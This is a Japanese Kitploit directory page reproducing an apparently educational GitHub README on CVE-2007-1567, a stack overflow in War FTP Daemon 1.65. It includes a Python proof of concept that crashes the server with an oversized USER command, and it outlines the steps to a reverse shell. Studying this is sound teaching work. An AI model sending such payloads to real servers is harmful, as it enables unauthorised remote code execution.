Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2007-1567 — War FTP Daemon 1.65における古典的なスタックベースのバッファオーバーフロー。不正なFTPコマンドによる旧式のリモートコード実行を示しています。 | Kitploit
ツール/GitHubGitHub/themalwareguardian/cve-2007-1567
脆弱性分析エクスプロイトシェルコード学習と教育リモートアクセスツールバイナリエクスプロイト
GitHubthemalwareguardian/cve-2007-1567

CVE-2007-1567

War FTP Daemon 1.65における古典的なスタックベースのバッファオーバーフロー。不正なFTPコマンドによる旧式のリモートコード実行を示しています。

リポジトリを見る
14ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🐞 CVE-2007-1567: War FTP Daemon 1.65 - スタックベースのバッファオーバーフロー

War FTP Daemon 1.65 における古典的なスタックベースのバッファオーバーフロー。不正なFTPコマンドを通じた昔ながらのリモートコード実行を示しています。




📑 目次

  • このリポジトリが存在する理由
  • この脆弱性が興味深い理由
  • 背景と影響を受けるソフトウェア
  • 脆弱性について
  • クラッシュのトリガー
  • 悪用方法



🎓 このリポジトリが存在する理由

このリポジトリは、メモリ破壊の悪用を教える際に使用する教材の一部です(通常の業務に加えて、さまざまなサイバーセキュリティコースで教鞭をとり、次世代のリバースエンジニアの育成に貢献しています)。

CVE-2007-1567 は、バニラなEIP上書きの基本を紹介した直後に使用するケースです。悪用は明快で直接的なものですが、通常の最初の練習問題よりも少し興味深い詳細が含まれています。FTPプロトコルが導入する追加の不良文字であり、学生はシェルコードを構築する際にこれを特定して考慮する必要があります。小さな制約ですが、学生が既に使用した手法を単にコピーするのではなく考えるのに十分です。




💡 この脆弱性が興味深い理由

War FTP Daemon 1.65 は1990年代後半のレガシーWindows FTPサーバです。脆弱性はUSERコマンドハンドラにあり、sprintfを使用してユーザー制御の入力を固定サイズのスタックバッファに長さを検証せずにコピーします。このケースが教育に役立つ理由:

  • 認証不要。 オーバーフローはパスワードがチェックされる前にUSERコマンドハンドラで発生します。単一のコマンドでクラッシュを引き起こすのに十分です。
  • 直接的なEIP上書き。 SEH、ヒープ、マルチステージの悪用は不要。保存されたリターンアドレスが直接上書きされます。
  • 追加の不良文字。 通常の\x00、\x0a、\x0dに加えて、FTPプロトコルは\x40(@)を不良文字として導入します。これはuser@host構文を解釈するためです。学生は不良文字分析中にこれを特定する必要があります。
  • 古いWindows環境が必要。 私が教育で使用するほとんどのレガシーソフトウェアとは異なり、War FTP Daemon 1.65 はWinsock APIの変更により最新のWindowsでは実行できません。Windows XPが必要であり、実践的なセットアップの課題が追加され、ラボ環境が重要であることを学生に教えます。



🔍 背景と影響を受けるソフトウェア

War FTP Daemon は1990年代後半に作成されたWindows用FTPサーバです。TCPポート21で待機し、標準的なFTPコマンドを処理します。脆弱性はUSERコマンドハンドラにあり、接続クライアントから送信されたユーザー名をsprintfで長さ検証なしに処理します。

主な技術的詳細:

  • 脆弱性の種類: スタックベースのバッファオーバーフロー
  • 影響を受けるバージョン: War FTP Daemon 1.65
  • 影響を受けるエンドポイント: FTP USERコマンド
  • 脆弱なコンポーネント: USERコマンドハンドラ
  • 認証の必要性: 不要
  • 影響: リモートコード実行



⚠️ 脆弱性について

War FTP Daemon はUSERコマンドを処理する際、指定されたユーザー名をsprintfに渡し、長さをチェックせずに固定サイズのスタックバッファにコピーします。脆弱なロジックの簡略版は次のようになります:

root@kitploit:~
char buffer[256];

sprintf(buffer, "%sCRLF", username);
ツールをダウンロード

USER引数として十分に長い文字列を送信すると、コピーがバッファの終端を超えて書き込まれ、保存されたリターンアドレスが上書きされるまでスタックを破壊します。関数が戻るとき、CPUはスタックから攻撃者が制御する値をEIPにロードし、そこにジャンプします。




💥 クラッシュのトリガー

クラッシュは、FTP経由で過大なUSER引数を送信することで再現できます。認証は不要です。Pythonを使用した例:

root@kitploit:~
import socket

HOST = '127.0.0.1'
PORT = 21

payload = b"A" * 700

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.recv(1024)

s.send(b"USER " + payload + b"\r\n")
s.close()

デバッガ上で実行すると、クラッシュはEIPがユーザー制御のデータで上書きされたことを示します:

root@kitploit:~
EIP = 41414141

保存されたリターンアドレスがオーバーフローによって破壊されたことを確認します。




💣 悪用方法

このリポジトリの目的は、クラッシュを実証するだけでなく、ファジングから動作するリバースシェルに至るまで、完全な悪用プロセスを段階的に説明することです。

メインのREADMEをすっきり保つため、詳細な悪用ノート、スクリプト、デバッガの手順は、このリポジトリの Vulnerability 📂 フォルダに配置されています。

そこには、このCVEを悪用するために使用された完全なワークフローが含まれています:

  • クラッシュを特定するためのUSERコマンドのファジング。
  • スタック上のEIPの正確な位置を見つけるためのオフセット発見。
  • FTP USER処理に固有の\x40文字を含む不良文字分析。
  • MFC42.dll内のJMP ESPガジェットの特定。
  • シェルコードの配置と実行。